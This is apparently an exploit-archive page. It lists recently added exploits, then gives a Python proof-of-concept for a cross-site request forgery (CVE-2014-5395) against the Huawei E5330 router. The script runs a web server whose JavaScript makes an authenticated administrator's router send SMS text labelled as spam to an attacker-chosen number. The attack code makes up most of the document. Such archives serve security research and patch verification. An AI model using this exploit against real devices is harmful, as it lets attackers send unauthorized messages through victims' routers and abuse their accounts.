deaee53895
19 changes to exploits/shellcodes Microsoft Edge 44.17763.1.0 - NULL Pointer Dereference BlueAuditor 1.7.2.0 - 'Key' Denial of Service (PoC) SpotFTP Password Recover 2.4.2 - 'Name' Denial of Service (PoC) Foscam Video Management System 1.1.4.9 - 'Username' Denial of Service (PoC) KioWare Server Version 4.9.6 - Weak Folder Permissions Privilege Escalation Mailcleaner - Authenticated Remote Code Execution (Metasploit) Embed Video Scripts - Persistent Cross-Site Scripting All in One Video Downloader 1.2 - Authenticated SQL Injection LayerBB 1.1.1 - Persistent Cross-Site Scripting MyBB OUGC Awards Plugin 1.8.3 - Persistent Cross-Site Scripting PLC Wireless Router GPN2.4P21-C-CN - Cross-Site Scripting phpMoAdmin MongoDB GUI 1.1.5 - Cross-Site Request Forgery / Cross-Site Scripting Wordpress Plugin UserPro < 4.9.21 - User Registration Privilege Escalation MyT Project Management 1.5.1 - 'Charge[group_total]' SQL Injection Roxy Fileman 1.4.5 - Unrestricted File Upload / Directory Traversal Ajera Timesheets 9.10.16 - Deserialization of Untrusted Data Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 - Cross-Site Request Forgery Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 - JS/HTML Code Injection Huawei E5330 21.210.09.00.158 - Cross-Site Request Forgery (Send SMS)
49 lines
No EOL
1.6 KiB
Python
Executable file
49 lines
No EOL
1.6 KiB
Python
Executable file
# Exploit Title: Huawei E5330 Cross-Site Request Forgery (Send SMS)
|
|
# Date: 01/07/2019
|
|
# Exploit Author: Nathu Nandwani
|
|
# Website: http://nandtech.co/
|
|
# Vendor Homepage: https://consumer.huawei.com/in/mobile-broadband/e5330/
|
|
# Version: 21.210.09.00.158
|
|
# Tested on: Windows 10 x64
|
|
# CVE: CVE-2014-5395
|
|
# Note: The administrator who opens the URL should be authenticated.
|
|
import socket
|
|
import time
|
|
|
|
server_ip = "0.0.0.0"
|
|
server_port = 80
|
|
|
|
huawei_ip = "192.168.8.1"
|
|
receiving_phone_no = "01234567890"
|
|
sms_text = "This is a SPAM text from Huawei E5330"
|
|
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
sock.bind((server_ip, server_port))
|
|
sock.listen(1)
|
|
|
|
print "Currently listening at " + server_ip + ":" + str(server_port)
|
|
|
|
client, (client_host, client_port) = sock.accept()
|
|
|
|
print "Client connected: " + client_host + ":" + str(client_port)
|
|
print ""
|
|
print client.recv(1000)
|
|
|
|
client.send('HTTP/1.0 200 OK\r\n')
|
|
client.send('Content-Type: text/html\r\n')
|
|
client.send('\r\n')
|
|
|
|
client.send("""
|
|
<html>
|
|
<body>
|
|
<script>
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.open("POST", "http://""" + huawei_ip + """/api/sms/send-sms", true);
|
|
xhr.send('<?xml version="1.0" encoding="UTF-8"?><request><Index>0</Index><Phones><Phone>""" + receiving_phone_no + """</Phone></Phones><Sca></Sca><Content>""" + sms_text + """</Content><Length>""" + str(len(sms_text)) + """</Length><Reserved>1</Reserved><Date>""" + time.strftime('%Y-%m-%d %H:%M:%S') + """</Date></request>');
|
|
</script>
|
|
</body>
|
|
</html>
|
|
""")
|
|
|
|
client.close()
|
|
sock.close() |